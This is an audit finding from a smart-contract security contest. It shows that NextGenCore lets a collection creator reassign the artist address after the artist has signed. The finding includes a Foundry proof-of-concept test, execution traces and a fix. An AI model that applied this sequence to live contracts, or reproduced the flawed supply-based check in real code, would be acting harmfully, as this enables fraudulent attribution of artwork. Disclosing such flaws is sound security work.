Artist address can be changed once the artist has called the artistSignature() function

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L147-L166

Vulnerability details

Impact

Medium impact

Bug explanation

In the NextGenCore contract, inside the collectionAdditonalDataStructure struct, there is the addres of the collection artist. This address is intended to be set and when the artist calls artistSignature(), this data gets locked and can not be changed anymore. However there is a way to change the artist address once the artistSiganture() has been executed.
This bug happens when the function setCollectionData is set the first time. If the artist address is set together with collectionTotalSupply equal to 0 it is possible for the collection creator to change the artist address once he have called artistSignature() because the collectionTotalSupply is equal to zero and the first branch of the setCollectionData will be triggered again. See https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L149-L157.

Proof of Concept

The following test demonstrates how this bug can be triggered. The situation shows a case where the collection creator can sign himself the collection and then change the artist address to a reputated artist to fake that the collection has been designed by this reputated artist.

function testArtistCanBeChangedOnceItHasSignedACollection() public {
        bytes4[] memory functionAllowance = new bytes4[](2);
        // Allowed to call createCollection
        functionAllowance[0] = 0x02de55d0;
        // Allowed to call setCollectionData
        functionAllowance[1] = 0x7b5dbac5;
        admins.registerBatchFunctionAdmin(collectionCreator, functionAllowance, true);
        
        vm.startPrank(collectionCreator);

        // Collection creator creates his collection
        string[] memory randomScripts;
        core.createCollection(
            "Random Name",
            "Random Artist",
            "Random Description",
            "Random Webside",
            "Random License",
            "Random BaseURI",
            "Random Library",
            randomScripts
        );

        // Collection creator sets the collection artist address to himself together with _collectionTotalSupply set to 0
        core.setCollectionData(
            1,
            collectionCreator,
            1000,
            0,      // _collectionTotalSupply must be 0
            10000
        );

        // The collection creator can sign himself the collection because he is the artist
        core.artistSignature(1, "Signed");

        // He can now change the artist address to the address he wants. Imagine he sets the address to a really reputated artist
        core.setCollectionData(
            1,
            reputatedArtist,
            1000,
            10000,
            10000
        );

        assertEq(core.retrieveArtistAddress(1), reputatedArtist);
        assertTrue(core.artistSigned(1));
    }

The traces are the following:

Running 1 test for test/artistSignaturePOC.t.sol:artistSignaturePOC
[PASS] testArtistCanBeChangedOnceItHasSignedACollection() (gas: 484712)
Traces:
  [484712] artistSignaturePOC::testArtistCanBeChangedOnceItHasSignedACollection() 
    ├─ [48386] NextGenAdmins::registerBatchFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], [0x02de55d0, 0x7b5dbac5], true) 
    │   └─ ← ()
    ├─ [0] VM::startPrank(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd]) 
    │   └─ ← ()
    ├─ [196319] NextGenCore::createCollection(Random Name, Random Artist, Random Description, Random Webside, Random License, Random BaseURI, Random Library, []) 
    │   ├─ [856] NextGenAdmins::retrieveFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 0x02de55d0) [staticcall]
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [145585] NextGenCore::setCollectionData(1, collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 1000, 0, 10000 [1e4]) 
    │   ├─ [2638] NextGenAdmins::retrieveCollectionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 1) [staticcall]
    │   │   └─ ← false
    │   ├─ [856] NextGenAdmins::retrieveFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 0x7b5dbac5) [staticcall]
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [45935] NextGenCore::artistSignature(1, Signed) 
    │   └─ ← ()
    ├─ [25585] NextGenCore::setCollectionData(1, reputatedArtist: [0x2b8a7fAE54dc52c23807817e1CCc4BDF3D9716e4], 1000, 10000 [1e4], 10000 [1e4]) 
    │   ├─ [638] NextGenAdmins::retrieveCollectionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 1) [staticcall]
    │   │   └─ ← false
    │   ├─ [856] NextGenAdmins::retrieveFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 0x7b5dbac5) [staticcall]
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [566] NextGenCore::retrieveArtistAddress(1) [staticcall]
    │   └─ ← reputatedArtist: [0x2b8a7fAE54dc52c23807817e1CCc4BDF3D9716e4]
    ├─ [528] NextGenCore::artistSigned(1) [staticcall]
    │   └─ ← true
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 4.45ms

Tools Used

Manual review

Recommended Mitigation Steps

Change the condition to enter the first branch of the function setCollectionData from:

if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {

to

if (wereDataAdded[_collectionID] == false) {

Assessed type

Invalid Validation

[c4-pre-sort]

141345 marked the issue as duplicate of #478

[c4-judge]

alex-ppg marked the issue as satisfactory